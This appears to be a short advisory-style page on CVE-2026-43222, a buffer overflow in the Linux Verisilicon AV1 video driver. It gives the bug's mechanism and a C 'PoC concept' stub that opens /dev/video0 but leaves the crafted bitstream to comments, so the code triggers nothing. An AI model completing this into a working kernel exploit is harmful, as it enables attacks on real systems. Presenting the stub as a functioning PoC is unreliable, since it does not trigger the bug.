CVE-2026-43222 Linux内核AV1缓冲区溢出漏洞

/* * PoC Concept for CVE-2026-43222 * Triggering buffer overflow in verisilicon AV1 driver */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Define the struct to show the expected size struct tile_info { uint32_t row_sb; uint32_t col_sb; uint32_t start_pos; uint32_t end_pos; }; // Size should be 16 bytes int main() { // In a real scenario, this would involve opening the video device // and sending a crafted AV1 bitstream with max tiles. int fd = open("/dev/video0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return -1; } printf("[+] Attempting to trigger tile info overflow...\n"); // Crafted input to force the driver to write AV1_MAX_TILES entries // into a buffer allocated with incorrect size. // This requires specific hardware interaction. close(fd); return 0; }